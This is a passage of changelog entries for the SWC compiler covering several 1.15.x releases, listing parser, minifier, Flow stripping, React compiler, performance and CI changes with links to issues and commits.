- **(swc\_common)** Add SourceMapper.map\_raw\_pos ([#&#8203;11777](https://github.com/swc-project/swc/issues/11777)) ([7d2e94c](https://github.com/swc-project/swc/commit/7d2e94ce379ba8fc738a5697299cdb9a3c748e8a))

- **(swc\_config)** Add Hash/Eq for options and CachedRegex ([#&#8203;11775](https://github.com/swc-project/swc/issues/11775)) ([86a4c38](https://github.com/swc-project/swc/commit/86a4c383b8da40a53bad1b1b5098227d3087927c))

##### Performance

- **(swc)** Use larger input for es/full benchmarks ([#&#8203;11779](https://github.com/swc-project/swc/issues/11779)) ([4409920](https://github.com/swc-project/swc/commit/44099207878c2e7f6ec75379040402057ad4f97b))

##### Refactor

- **(es/minifier)** Inline into shorthand prop early ([#&#8203;11766](https://github.com/swc-project/swc/issues/11766)) ([450bdfa](https://github.com/swc-project/swc/commit/450bdfa14f61ca008f5399d7292d5d9bc5e07380))

##### Build

- Update `rustc` to `nightly-2026-04-10` ([#&#8203;11783](https://github.com/swc-project/swc/issues/11783)) ([6facc79](https://github.com/swc-project/swc/commit/6facc79dc4022e9a31dcb1c7e8952917f88867e9))

### [`v1.15.24`](https://github.com/swc-project/swc/blob/HEAD/CHANGELOG.md#11524---2026-04-04)

[Compare Source](https://github.com/swc-project/swc/compare/v1.15.21...v1.15.24)

##### Bug Fixes

- **(es/decorators)** Scope 2023-11 implicit-global rewrite to decorator-lifted exprs ([#&#8203;11743](https://github.com/swc-project/swc/issues/11743)) ([1c01bbb](https://github.com/swc-project/swc/commit/1c01bbb46ddb33b380b8216235c1e6f2767d0aae))

- **(es/minifier)** Handle `toExponential(undefined)` ([#&#8203;11583](https://github.com/swc-project/swc/issues/11583)) ([cd94a31](https://github.com/swc-project/swc/commit/cd94a3141621cec617dac7e84c50070cd598ec46))

- **(es/minifier)** Cap deep if\_return conditional chains ([#&#8203;11758](https://github.com/swc-project/swc/issues/11758)) ([a92fa3e](https://github.com/swc-project/swc/commit/a92fa3e8e27f604186a2393284d3deb67a9146f1))

- **(es/minifier)** Inline prop shorthand in computed props ([#&#8203;11760](https://github.com/swc-project/swc/issues/11760)) ([71feafb](https://github.com/swc-project/swc/commit/71feafb4bc79883a558164e9543ae4ecedc9187e))

- **(es/parser)** Parse key Flow forms from [#&#8203;11729](https://github.com/swc-project/swc/issues/11729) (phase 1) ([#&#8203;11733](https://github.com/swc-project/swc/issues/11733)) ([886fe53](https://github.com/swc-project/swc/commit/886fe533ad7edfb13804be3a779eccb160cf69e7))

- **(es/parser)** Close remaining Flow parser gaps for [#&#8203;11729](https://github.com/swc-project/swc/issues/11729) (phase 2) ([#&#8203;11740](https://github.com/swc-project/swc/issues/11740)) ([8d36f05](https://github.com/swc-project/swc/commit/8d36f05499f7e2cc5c568227d05e5f912e01509b))

- **(es/regexp)** Preserve source for wrapped named groups ([#&#8203;11757](https://github.com/swc-project/swc/issues/11757)) ([7e56fe5](https://github.com/swc-project/swc/commit/7e56fe5cb4dfc3fc1758e2139949107d5eaa8e47))

- **(html/codegen)** Keep </p> for span-parent paragraphs ([#&#8203;11756](https://github.com/swc-project/swc/issues/11756)) ([ede9950](https://github.com/swc-project/swc/commit/ede9950d35cdd4968331ac0111cdb413e60f3438))

- **(swc\_common)** Make `eat_byte` unsafe to prevent UTF-8 boundary violation ([#&#8203;11731](https://github.com/swc-project/swc/issues/11731)) ([669a659](https://github.com/swc-project/swc/commit/669a659c6e29c12eba793e646c6b29002782a84c))

##### Features

- **(es/minifier)** Remove useless arguments for non inlined callee ([#&#8203;11645](https://github.com/swc-project/swc/issues/11645)) ([bab249e](https://github.com/swc-project/swc/commit/bab249ef031f71ebe4089b15a03b435d7258e895))

- **(react-compiler)** Advance SWC parity for upstream fixtures ([#&#8203;11724](https://github.com/swc-project/swc/issues/11724)) ([468da70](https://github.com/swc-project/swc/commit/468da70bbdf876e44155fda09cbca7ee939fa68f))

- **(react-compiler)** Tighten core validation parity for upstream fixtures ([#&#8203;11734](https://github.com/swc-project/swc/issues/11734)) ([7e2cf8d](https://github.com/swc-project/swc/commit/7e2cf8d46a6f41967b93858d9f3269ae46370d14))

- **(react-compiler)** Improve SWC parity for early-return and hooks validation ([#&#8203;11738](https://github.com/swc-project/swc/issues/11738)) ([4739c58](https://github.com/swc-project/swc/commit/4739c586d0deb88d3d536835adb873b9c036bef5))

- **(react-compiler)** M1 memo validators + lint gating alignment ([#&#8203;11739](https://github.com/swc-project/swc/issues/11739)) ([7e1ad26](https://github.com/swc-project/swc/commit/7e1ad26b49295085208c2e4ddfb175c479da53bc))

- **(react-compiler)** Improve Stage A diagnostic parity and validation aggregation ([#&#8203;11745](https://github.com/swc-project/swc/issues/11745)) ([0e2075e](https://github.com/swc-project/swc/commit/0e2075e4addc9771dbe5388b6d30fd4344308bd1))

- **(react-compiler)** Continue swc parity for dependency handling ([#&#8203;11747](https://github.com/swc-project/swc/issues/11747)) ([83688c8](https://github.com/swc-project/swc/commit/83688c8af8695b895d871a4d6d9530d89fcba2a9))

##### Refactor

- **(es/minifier)** Inline usage analyzer and remove crate ([#&#8203;11750](https://github.com/swc-project/swc/issues/11750)) ([7d8d11b](https://github.com/swc-project/swc/commit/7d8d11b53ad046cafce6aff76672df41ad276615))

- **(react-compiler)** Remove compiler impl and keep fast\_check ([#&#8203;11753](https://github.com/swc-project/swc/issues/11753)) ([f21d336](https://github.com/swc-project/swc/commit/f21d33629033f305d300d91982d0a87bc807e427))

##### Ci

- Add manual Publish crates workflow ([#&#8203;11763](https://github.com/swc-project/swc/issues/11763)) ([169c961](https://github.com/swc-project/swc/commit/169c96107357653fa0d1c0feb715aa2312481e0a))

- Add misc npm publish workflow ([#&#8203;11764](https://github.com/swc-project/swc/issues/11764)) ([236eff0](https://github.com/swc-project/swc/commit/236eff01dd30e780596ed33704b85bf91491bc10))

### [`v1.15.21`](https://github.com/swc-project/swc/blob/HEAD/CHANGELOG.md#11521---2026-03-22)

[Compare Source](https://github.com/swc-project/swc/compare/v1.15.18...v1.15.21)

##### Bug Fixes

- **(cli)** Honor externalHelpers=false in rust binary ([#&#8203;11693](https://github.com/swc-project/swc/issues/11693)) ([1be052e](https://github.com/swc-project/swc/commit/1be052e36154ed0382aeb93a4ff8f9e441ffbdca))

- **(cli)** Skip mkdir when --out-file targets the current directory ([#&#8203;11720](https://github.com/swc-project/swc/issues/11720)) ([f3f4e51](https://github.com/swc-project/swc/commit/f3f4e51cedb3051a7c75c0cdecaa17e1d276597f))

- **(es/decorators)** Resolve 2022-03 issues [#&#8203;9565](https://github.com/swc-project/swc/issues/9565)/[#&#8203;9078](https://github.com/swc-project/swc/issues/9078)/[#&#8203;9079](https://github.com/swc-project/swc/issues/9079) and add regressions ([#&#8203;11698](https://github.com/swc-project/swc/issues/11698)) ([a025d2b](https://github.com/swc-project/swc/commit/a025d2bc2fa482b675084f5802865cd02c8b63c4))

- **(es/fixer)** Wrap new opt chain ([#&#8203;11618](https://github.com/swc-project/swc/issues/11618)) ([fdcd184](https://github.com/swc-project/swc/commit/fdcd184a2ad3295015faf51fde62dbe4b700515e))

- **(es/flow)** Normalize module await bindings for Hermes parity ([#&#8203;11703](https://github.com/swc-project/swc/issues/11703)) ([73d8761](https://github.com/swc-project/swc/commit/73d87616f5db5146fac774cd60d5ec18195140c3))

- **(es/minifier)** Fix compatibility for Wasm plugin (`swc_ast_unknown`) ([#&#8203;11641](https://github.com/swc-project/swc/issues/11641)) ([abd0e45](https://github.com/swc-project/swc/commit/abd0e45fb9cee9f79fb58d3a520f9ff92ecf4566))

- **(es/module)** Preserve explicit index.js import path when baseUrl is set ([#&#8203;11597](https://github.com/swc-project/swc/issues/11597)) ([830dbeb](https://github.com/swc-project/swc/commit/830dbeb44f3bf6faf807808d596d970442b6e6e3))

- **(es/module)** Avoid rewriting unknown relative extensions ([#&#8203;11713](https://github.com/swc-project/swc/issues/11713)) ([ed09218](https://github.com/swc-project/swc/commit/ed092184839057467702976ad43ed4e3f902dc6b))

- **(es/regexp)** Implement transform-named-capturing-groups-regex ([#&#8203;11642](https://github.com/swc-project/swc/issues/11642)) ([f62bfa9](https://github.com/swc-project/swc/commit/f62bfa90701cdcfe87af082d5104f0c1e2dd7e0d))

- **(es/types)** Add new options types ([#&#8203;11683](https://github.com/swc-project/swc/issues/11683)) ([62eeee1](https://github.com/swc-project/swc/commit/62eeee15324a6aa25a2e17d497f1d41900cbac99))

- **(malloc)** Fallback to system allocator on linux gnu s390x/powerpc ([#&#8203;11606](https://github.com/swc-project/swc/issues/11606)) ([e103fac](https://github.com/swc-project/swc/commit/e103facd4451349478efbaf8caaf89294d4780f9))

- Update lz4\_flex to resolve RUSTSEC-2026-0041 ([#&#8203;11701](https://github.com/swc-project/swc/issues/11701)) ([7528507](https://github.com/swc-project/swc/commit/7528507bc6d3fb723742e62abb156d510fba1329))

##### Documentation

- **(agents)** Improve guidance ([#&#8203;11626](https://github.com/swc-project/swc/issues/11626)) ([1cdfec9](https://github.com/swc-project/swc/commit/1cdfec9f298d0979f40d2be5a227ea4dc973138b))

- **(agents)** Add AGENTS two-pass rules for es crates ([#&#8203;11634](https://github.com/swc-project/swc/issues/11634)) ([12af4a1](https://github.com/swc-project/swc/commit/12af4a1fcffff0bcefaa5ca766914d1aae2c7847))

- Move parser design guidance into AGENTS.md ([#&#8203;11600](https://github.com/swc-project/swc/issues/11600)) ([e6e91a3](https://github.com/swc-project/swc/commit/e6e91a3d525774fb3453ebda64793d3d253771b5))

- Clarify workaround comment requirement in AGENTS ([#&#8203;11700](https://github.com/swc-project/swc/issues/11700)) ([e2ad6f6](https://github.com/swc-project/swc/commit/e2ad6f61c882b6b302d886268170560087cd5684))

##### Features

- **(bindings)** Add linux ppc64le and s390x support across npm bindings ([#&#8203;11602](https://github.com/swc-project/swc/issues/11602)) ([357255d](https://github.com/swc-project/swc/commit/357255d56d4cc61b55be27a4b052f2f3019d018d))

- **(bindings)** Enable flow strip support in [@&#8203;swc/core](https://github.com/swc/core) ([#&#8203;11696](https://github.com/swc-project/swc/issues/11696)) ([93da89a](https://github.com/swc-project/swc/commit/93da89a272408ec5d4cf43d9c087774794661657))

- **(cli)** Enable Flow strip support in swc\_cli\_impl ([#&#8203;11705](https://github.com/swc-project/swc/issues/11705)) ([0ea9950](https://github.com/swc-project/swc/commit/0ea99502686a43bf33c397ef47fad344de78abb9))

- **(dbg-swc)** Add flow strip verification command ([#&#8203;11706](https://github.com/swc-project/swc/issues/11706)) ([77b7854](https://github.com/swc-project/swc/commit/77b7854046b584a933935b9252fd6df183828409))

- **(es)** Add `swc_es_codegen` for `swc_es_ast` ([#&#8203;11628](https://github.com/swc-project/swc/issues/11628)) ([c282d86](https://github.com/swc-project/swc/commit/c282d8616b4626ba880096e356ad1200108def9e))

- **(es)** Add 2-pass transformer and minifier crates ([#&#8203;11632](https://github.com/swc-project/swc/issues/11632)) ([f70a4b7](https://github.com/swc-project/swc/commit/f70a4b7c15324a0d7d771e11ff1ab738f964e43b))

- **(es)** Add TypeScript + React transforms and tsc corpus tests ([#&#8203;11635](https://github.com/swc-project/swc/issues/11635)) ([09a5d8d](https://github.com/swc-project/swc/commit/09a5d8d39f65684f4dc88558b92804dcb19a1c0b))

- **(es/helpers)** Prevent recursive instanceof helper transforms ([#&#8203;11609](https://github.com/swc-project/swc/issues/11609)) ([cb755a3](https://github.com/swc-project/swc/commit/cb755a3260aac2a1aaeab8ccf0458b783607511b))

- **(es/parser)** Add `with_capacity` for `Capturing` ([#&#8203;11679](https://github.com/swc-project/swc/issues/11679)) ([60df582](https://github.com/swc-project/swc/commit/60df58288867757038c6eec45ccc54bf1799f10c))

- **(es/parser)** Add flow syntax mode and strip integration ([#&#8203;11685](https://github.com/swc-project/swc/issues/11685)) ([015bbe8](https://github.com/swc-project/swc/commit/015bbe8759da1a57a33dd8c7791bc835e4150034))

- **(es/parser)** Finish flow strip support for core syntax gaps ([#&#8203;11689](https://github.com/swc-project/swc/issues/11689)) ([584a12f](https://github.com/swc-project/swc/commit/584a12f6fa15f4beaf030fa6224ba77be1874e0f))

- **(es/parser)** Extend flow declare export strip compatibility ([#&#8203;11691](https://github.com/swc-project/swc/issues/11691)) ([a8315aa](https://github.com/swc-project/swc/commit/a8315aaea70d2b9dcd5da56b5726190c84ed3036))

- **(es/parser)** Support Flow declare export default interface strip path ([#&#8203;11692](https://github.com/swc-project/swc/issues/11692)) ([588577c](https://github.com/swc-project/swc/commit/588577c5c2541ae0d4c198648ba74265eb05dc39))

- **(es/parser)** Add Hermes Flow parity harness and fixes ([#&#8203;11699](https://github.com/swc-project/swc/issues/11699)) ([918b6ac](https://github.com/swc-project/swc/commit/918b6ac1f5ca151aa70b6b5f4fcb2443be80eacb))

- **(es/parser)** Complete Hermes Flow stripping parity ([#&#8203;11702](https://github.com/swc-project/swc/issues/11702)) ([f041f4c](https://github.com/swc-project/swc/commit/f041f4c2f2c757489a2c1194fe03d890052d131e))

- **(es/proposal)** Add decorators 2023-11 support ([#&#8203;11686](https://github.com/swc-project/swc/issues/11686)) ([e96eb6a](https://github.com/swc-project/swc/commit/e96eb6a82897f80910e9cf81ae5b0649a0a0855a))

- **(es/react-compiler)** Scaffold SWC port of Babel entrypoint ([#&#8203;11687](https://github.com/swc-project/swc/issues/11687)) ([4a1d3ce](https://github.com/swc-project/swc/commit/4a1d3ce3175428a4113eda8f4bc7b07ccb18b60f))

- **(es/react-compiler)** Phase1 crate API baseline and fixture harness ([#&#8203;11690](https://github.com/swc-project/swc/issues/11690)) ([31364dc](https://github.com/swc-project/swc/commit/31364dcb26860e49ff64f60fa60d4b5cd39b199d))

- **(es/react-compiler)** Strict upstream parity finalization (crate-only, WIP) ([#&#8203;11697](https://github.com/swc-project/swc/issues/11697)) ([a3994aa](https://github.com/swc-project/swc/commit/a3994aa5f853836c528614a89e435fc5eacb7f13))

- **(es/react-compiler)** Advance strict upstream parity ([#&#8203;11709](https://github.com/swc-project/swc/issues/11709)) ([9b3abe0](https://github.com/swc-project/swc/commit/9b3abe078f86db7e6cc80b7cd1c3c1150c41a71a))

- **(es/react-compiler)** Advance upstream fixture parity pipeline ([#&#8203;11716](https://github.com/swc-project/swc/issues/11716)) ([33fe6f2](https://github.com/swc-project/swc/commit/33fe6f26aa4a5dcc6542d752632e75b4f3595e7d))

- **(es/semantics)** Add scope analysis and statement-level cfg ([#&#8203;11623](https://github.com/swc-project/swc/issues/11623)) ([86815b1](https://github.com/swc-project/swc/commit/86815b1e9cecd2c0b67c17c5d4ba2b99f904b355))

- **(es\_parser)** Complete parity suite with zero ignores ([#&#8203;11615](https://github.com/swc-project/swc/issues/11615)) ([ee3fdd5](https://github.com/swc-project/swc/commit/ee3fdd553564a1af8490ff1f2b1d1b74c8574ba9))

- **(es\_parser)** Complete internal parser wiring without ecma runtime dep ([#&#8203;11622](https://github.com/swc-project/swc/issues/11622)) ([1c51891](https://github.com/swc-project/swc/commit/1c518913a5abd64e60fe7fa5c5ece856a2861147))

- **(es\_parser)** Expand benchmark corpus ([#&#8203;11633](https://github.com/swc-project/swc/issues/11633)) ([ff3adef](https://github.com/swc-project/swc/commit/ff3adef43b0b49a611f1f1704400ca20ec1111f3))

- **(react-compiler)** Advance SWC upstream fixture parity ([#&#8203;11718](https://github.com/swc-project/swc/issues/11718)) ([e8d1696](https://github.com/swc-project/swc/commit/e8d16969b74d21f13b1594ef71ceef3d550d0a59))

- **(react-compiler)** Improve lint rename and gating parity ([#&#8203;11721](https://github.com/swc-project/swc/issues/11721)) ([5f89ee7](https://github.com/swc-project/swc/commit/5f89ee70d5af99a382a8f8ca16ba913b1ddd746e))

- **(swc\_es\_parser)** Enforce full parity suite and extend grammar surface ([#&#8203;11611](https://github.com/swc-project/swc/issues/11611)) ([585f7d0](https://github.com/swc-project/swc/commit/585f7d07a44b2508b05d6b07e9fcd83cb5cb7185))

- **(swc\_es\_parser)** Complete lossless modeling for with/TS module/decorators ([#&#8203;11613](https://github.com/swc-project/swc/issues/11613)) ([59b1189](https://github.com/swc-project/swc/commit/59b11898fe247382bed44fddfb29c9592050b8bc))

- **(swc\_es\_parser)** Close parity gaps with full core/large fixture pass-fail parity ([#&#8203;11614](https://github.com/swc-project/swc/issues/11614)) ([3085f52](https://github.com/swc-project/swc/commit/3085f52a0f2aafc194d01a4394ddce72c455c6a5))

- Complete core parity parser coverage ([#&#8203;11603](https://github.com/swc-project/swc/issues/11603)) ([18e0edc](https://github.com/swc-project/swc/commit/18e0edce9ebdd50508c9e60f50d1adf5a286e865))

##### Performance

- **(es/modules)** Avoid export sort key clones ([#&#8203;11669](https://github.com/swc-project/swc/issues/11669)) ([e74e17d](https://github.com/swc-project/swc/commit/e74e17dcf2e23ced12e199d05146e88a55b6174f))

- **(es/parser)** Reduce JSX identifier rescan allocations ([#&#8203;11671](https://github.com/swc-project/swc/issues/11671)) ([f9214fe](https://github.com/swc-project/swc/commit/f9214fed47818f2df75865645ef6a3358300d86a))

- **(es/parser)** Optimize underscore stripping in numeric literal hot path ([#&#8203;11670](https://github.com/swc-project/swc/issues/11670)) ([874338b](https://github.com/swc-project/swc/commit/874338b77f93b22cebc58d4ec4b43fe02bebb7e2))

- **(es/transformer)** Remove O(n^2) statement mutation hotspots ([#&#8203;11672](https://github.com/swc-project/swc/issues/11672)) ([bdc24b7](https://github.com/swc-project/swc/commit/bdc24b7fdc006c77f4b5303bf4ff903b71fd8bcb))

- **(es\_parser)** Byte-search lexer optimization pass ([#&#8203;11616](https://github.com/swc-project/swc/issues/11616)) ([607f2db](https://github.com/swc-project/swc/commit/607f2dbba4cdc681447657f07bda10c0533d0d7f))

- **(es\_parser)** Reduce lookahead and allocation overhead ([#&#8203;11673](https://github.com/swc-project/swc/issues/11673)) ([becd9b0](https://github.com/swc-project/swc/commit/becd9b0352db53611cd7ab3f922ff3b1f89d73fe))

- **(ts/fast-strip)** Avoid token capture in default transform path ([#&#8203;11668](https://github.com/swc-project/swc/issues/11668)) ([06aa0db](https://github.com/swc-project/swc/commit/06aa0db37d19ddec7f3255f92eef84f07c7f2d61))

##### Refactor

- **(es/minifier)** Use arguments data from scope ([#&#8203;11604](https://github.com/swc-project/swc/issues/11604)) ([4738539](https://github.com/swc-project/swc/commit/473853951651a013c896122b88d5fb7db43c2412))

##### Testing

- **(es/flow)** Add flow strip corpus correctness test ([#&#8203;11694](https://github.com/swc-project/swc/issues/11694)) ([cd5ed81](https://github.com/swc-project/swc/commit/cd5ed813da185d8aacc3d9bf7a64acb2e1c32116))

- **(es/parser)** Enforce full ecma fixture parity ([#&#8203;11637](https://github.com/swc-project/swc/issues/11637)) ([0bf8a46](https://github.com/swc-project/swc/commit/0bf8a4656011bdfeb80afb94fb8f2764739d099e))

- **(es/parser)** Expand flow strip fixture coverage ([#&#8203;11695](https://github.com/swc-project/swc/issues/11695)) ([e231262](https://github.com/swc-project/swc/commit/e23126212595d32265e0d4478592a15dc9e0ceef))

- **(es\_parser)** Add core snapshot suite ([#&#8203;11617](https://github.com/swc-project/swc/issues/11617)) ([23c56fe](https://github.com/swc-project/swc/commit/23c56fe60f60689994e3cc2b08301886cd0cea65))

- **(es\_parser)** De-arenaize ecma\_reuse fixture snapshots ([#&#8203;11639](https://github.com/swc-project/swc/issues/11639)) ([aa6727a](https://github.com/swc-project/swc/commit/aa6727a26dac1a8802ea06d35b5c3ac1ff7633f4))

- **(es\_parser)** Recover swc\_es\_parser benchmark coverage ([#&#8203;11640](https://github.com/swc-project/swc/issues/11640)) ([0f24ee1](https://github.com/swc-project/swc/commit/0f24ee1dfdea41e7e22218fd3bfc466772d557b7))

- Expand swc\_es\_parser snapshot suites (ecma-style) ([#&#8203;11621](https://github.com/swc-project/swc/issues/11621)) ([325170f](https://github.com/swc-project/swc/commit/325170fff9b5c99abe1da19ec63fe6d2d8c6a9bb))

- Move TS decorator fixtures out of proposal crate ([#&#8203;11723](https://github.com/swc-project/swc/issues/11723)) ([e29d58c](https://github.com/swc-project/swc/commit/e29d58c74b345dc783b8132bea15439f8dcd4119))

##### Ci

- Bump cargo-mono to 0.5.0 ([#&#8203;11605](https://github.com/swc-project/swc/issues/11605)) ([7118713](https://github.com/swc-project/swc/commit/7118713176d7d2c244c1c7c637dbfa7ffa37f167))

- Remove --no-verify flag from cargo mono publish ([02eb5ec](https://github.com/swc-project/swc/commit/02eb5ec20ea24a90c577991d6bb756b346c9c6a3))

- Optimize cargo-test matrix with cargo mono changed ([#&#8203;11681](https://github.com/swc-project/swc/issues/11681)) ([99e61c4](https://github.com/swc-project/swc/commit/99e61c4cc172b772437dcabcf8f937a8f24dc4bd))

- Bump cargo-mono to 0.5.3 ([#&#8203;11722](https://github.com/swc-project/swc/issues/11722)) ([b5272af](https://github.com/swc-project/swc/commit/b5272af0f80047ffb98a1eed5de1f1d391657aa2))

- Install zig for core ppc64le/s390x nightly cross builds ([#&#8203;11725](https://github.com/swc-project/swc/issues/11725)) ([09c4be0](https://github.com/swc-project/swc/commit/09c4be00656d2d64e80ffb0ae250c53db645a39c))

### [`v1.15.18`](https://github.com/swc-project/swc/blob/HEAD/CHANGELOG.md#11518---2026-03-01)

[Compare Source](https://github.com/swc-project/swc/compare/v1.15.17...v1.15.18)

##### Bug Fixes

- **(html/wasm)** Publish [@&#8203;swc/html-wasm](https://github.com/swc/html-wasm) for nodejs ([#&#8203;11601](https://github.com/swc-project/swc/issues/11601)) ([bd443f5](https://github.com/swc-project/swc/commit/bd443f582c553e9d898a1d5e7395abaad60b26d2))

##### Documentation

- Add AGENTS note about next-gen ast ([#&#8203;11592](https://github.com/swc-project/swc/issues/11592)) ([80b4be8](https://github.com/swc-project/swc/commit/80b4be872d85dc82cbb6e84c91fe102d807a2780))

- Add typescript-eslint AST compatibility note ([#&#8203;11598](https://github.com/swc-project/swc/issues/11598)) ([c7bfebe](https://github.com/swc-project/swc/commit/c7bfebec4fb691e6e49f3c3b7b257be178e7f238))

##### Features

- **(es/ast)** Add runtime arena crate and bootstrap swc\_es\_ast ([#&#8203;11588](https://github.com/swc-project/swc/issues/11588)) ([7a06d96](https://github.com/swc-project/swc/commit/7a06d967e43fe2f84078fc241bc655b41450d2c1))

- **(es/parser)** Add `swc_es_parser` ([#&#8203;11593](https://github.com/swc-project/swc/issues/11593)) ([f11fd70](https://github.com/swc-project/swc/commit/f11fd705ee84909f6b0f984b1b5fc35abf73ec05))

##### Ci

- Triage main CI breakage ([#&#8203;11589](https://github.com/swc-project/swc/issues/11589)) ([075af57](https://github.com/swc-project/swc/commit/075af578c46c0bfdb74c450c157d0e1753024a36))

### [`v1.15.17`](https://github.com/swc-project/swc/blob/HEAD/CHANGELOG.md#11517---2026-02-26)

[Compare Source](https://github.com/swc-project/swc/compare/v1.15.13...v1.15.17)

##### Documentation

- Add submodule update step before test runs ([#&#8203;11576](https://github.com/swc-project/swc/issues/11576)) ([81b22c3](https://github.com/swc-project/swc/commit/81b22c31d1acb447caae1a2d2bd530b2e6a40c26))

##### Features

- **(bindings)** Add html wasm binding and publish wiring ([#&#8203;11587](https://github.com/swc-project/swc/issues/11587)) ([b3869c3](https://github.com/swc-project/swc/commit/b3869c3ae2a592d4539f4cbfbabeaf615e55d69e))

- **(sourcemap)** Support safe scopes round-trip metadata ([#&#8203;11581](https://github.com/swc-project/swc/issues/11581)) ([de2a348](https://github.com/swc-project/swc/commit/de2a348daed80e47c75dabaf2f0ce945d850210a))

- Emit ECMA-426 source map scopes behind experimental flag ([#&#8203;11582](https://github.com/swc-project/swc/issues/11582)) ([2385a22](https://github.com/swc-project/swc/commit/2385a2279ee71abca3ae485d04a800e24bf55bae))

### [`v1.15.13`](https://github.com/swc-project/swc/blob/HEAD/CHANGELOG.md#11513---2026-02-23)

[Compare Source](https://github.com/swc-project/swc/compare/v1.15.11...v1.15.13)

##### Bug Fixes

- **(errors)** Avoid panic on invalid diagnostic spans ([#&#8203;11561](https://github.com/swc-project/swc/issues/11561)) ([b24b8e0](https://github.com/swc-project/swc/commit/b24b8e0253e4e2db4a36a2180906d65ee89495da))

- **(es/helpers)** Fix `_object_without_properties` crash on primitive values ([#&#8203;11571](https://github.com/swc-project/swc/issues/11571)) ([4f35904](https://github.com/swc-project/swc/commit/4f35904ebfc7d924b75635af4166dd8e2b26c069))

- **(es/jsx)** Preserve whitespace before HTML entities ([#&#8203;11521](https://github.com/swc-project/swc/issues/11521)) ([64be077](https://github.com/swc-project/swc/commit/64be077515ee15501b179ebe523fa68d2c29f905))

- **(es/minifier)** Do not merge if statements with different local variable values ([#&#8203;11518](https://github.com/swc-project/swc/issues/11518)) ([3e63627](https://github.com/swc-project/swc/commit/3e636273d4ba0563c9fa15736cfa4c57d80c943d))

- **(es/minifier)** Prevent convert\_tpl\_to\_str when there's emoji under es5 ([#&#8203;11529](https://github.com/swc-project/swc/issues/11529)) ([ff6cf88](https://github.com/swc-project/swc/commit/ff6cf88c88497881839ccb40fa18d33225971203))

- **(es/minifier)** Inline before merge if ([#&#8203;11526](https://github.com/swc-project/swc/issues/11526)) ([aa5a9ac](https://github.com/swc-project/swc/commit/aa5a9ac3ebae1f2a5775d980da65bc6a1c2574d7))

- **(es/minifier)** Preserve array join("") nullish semantics ([#&#8203;11558](https://github.com/swc-project/swc/issues/11558)) ([d477f61](https://github.com/swc-project/swc/commit/d477f61d85de8d88113e886f5e5d8076192ca76a))

- **(es/minifier)** Inline side-effect-free default params ([#&#8203;11564](https://github.com/swc-project/swc/issues/11564)) ([1babda7](https://github.com/swc-project/swc/commit/1babda721a42de7a85cd0da6f6231f9a67c54bfa))

- **(es/parser)** Fix generic arrow function in TSX mode ([#&#8203;11549](https://github.com/swc-project/swc/issues/11549)) ([366a16b](https://github.com/swc-project/swc/commit/366a16b4a469d61ca816ec8187d3d476a57860d7))

- **(es/react)** Preserve first-line leading whitespace with entities ([#&#8203;11568](https://github.com/swc-project/swc/issues/11568)) ([fc62617](https://github.com/swc-project/swc/commit/fc62617f31707bb464dc167d3317dcc705aecd4c))

- **(es/regexp)** Transpile unicode property escapes in RegExp constructor ([#&#8203;11554](https://github.com/swc-project/swc/issues/11554)) ([476d544](https://github.com/swc-project/swc/commit/476d544f911ea643fcc8434e46aaddd344fa49f8))

##### Documentation

- **(agents)** Clarify sandbox escalation for progress ([#&#8203;11574](https://github.com/swc-project/swc/issues/11574)) ([cb31d0d](https://github.com/swc-project/swc/commit/cb31d0da37b35858986ba63e0dab300555f8ec82))

##### Features

- **(es/minifier)** Add `unsafe_hoist_static_method_alias` option ([#&#8203;11493](https://github.com/swc-project/swc/issues/11493)) ([6e7dbe2](https://github.com/swc-project/swc/commit/6e7dbe234555f926f98d8714789b5cd4a5e65b3d))

- **(es/minifier)** Remove unused args for IIFE ([#&#8203;11536](https://github.com/swc-project/swc/issues/11536)) ([3cc286b](https://github.com/swc-project/swc/commit/3cc286b2f16489c8175faf5a72601c5be1376bdc))

##### Refactor

- **(es/parser)** Compare token kind rather than strings ([#&#8203;11531](https://github.com/swc-project/swc/issues/11531)) ([5872ffa](https://github.com/swc-project/swc/commit/5872ffa74a5b214bd6fd03732a26479118c41011))

- **(es/typescript)** Run typescript transform in two passes ([#&#8203;11532](https://github.com/swc-project/swc/issues/11532)) ([b069558](https://github.com/swc-project/swc/commit/b06955813af93cd784aad90e7e98ab06fb648438))

- **(es/typescript)** Precompute namespace import-equals usage in semantic pass ([#&#8203;11534](https://github.com/swc-project/swc/issues/11534)) ([b7e87c7](https://github.com/swc-project/swc/commit/b7e87c7b951cb8f62d6b22a5cfa2105310a91ccc))

##### Testing

- **(es/minifier)** Add execution tests for issue [#&#8203;11517](https://github.com/swc-project/swc/issues/11517) ([#&#8203;11530](https://github.com/swc-project/swc/issues/11530)) ([01b3b64](https://github.com/swc-project/swc/commit/01b3b648114ddb2e1e5ded32856397b996cb9fc2))

- Disable `cva` ecosystem ci temporariliy ([55bc966](https://github.com/swc-project/swc/commit/55bc966be4e2a393b926317e228f6d33eacb7715))

##### Ci

- Reset closed issue and PR milestone to Planned ([#&#8203;11559](https://github.com/swc-project/swc/issues/11559)) ([d5c4ebe](https://github.com/swc-project/swc/commit/d5c4ebe3d991b05697f01d8fb67efe7ad708a1f8))

- Add permission ([431c576](https://github.com/swc-project/swc/commit/431c5764b84d43fad0e30d25dcc0a8e049e8beae))

### [`v1.15.11`](https://github.com/swc-project/swc/blob/HEAD/CHANGELOG.md#11511---2026-01-27)

[Compare Source](https://github.com/swc-project/swc/compare/v1.15.10...v1.15.11)

##### Bug Fixes

- **(es/codegen)** Emit leading comments for JSX elements, fragments, and empty expressions ([#&#8203;11488](https://github.com/swc-project/swc/issues/11488)) ([1520633](https://github.com/swc-project/swc/commit/1520633549965eb6838c80d4389431074613bd0e))

- **(es/decorators)** Invoke addInitializer callbacks for decorated fields ([#&#8203;11495](https://github.com/swc-project/swc/issues/11495)) ([11cfe4d](https://github.com/swc-project/swc/commit/11cfe4deaea8c66cd1f78e8894b4df11ebdbe0f7))

- **(es/es3)** Visit export decl body even if name is not reserved ([#&#8203;11473](https://github.com/swc-project/swc/issues/11473)) ([9113fff](https://github.com/swc-project/swc/commit/9113fffc8cae6d379c5ce7bfd9f5373f6ee9a3aa))

- **(es/es3)** Remove duplicate code ([#&#8203;11499](https://github.com/swc-project/swc/issues/11499)) ([fbee775](https://github.com/swc-project/swc/commit/fbee7752443e491ce24b590e00d78677b7e4c8f4))

- **(es/minifier)** Treat new expression with empty class as side-effect free ([#&#8203;11455](https://github.com/swc-project/swc/issues/11455)) ([a33a45e](https://github.com/swc-project/swc/commit/a33a45e3bd4e6227d143174198d36f7cbc4b9f2b))

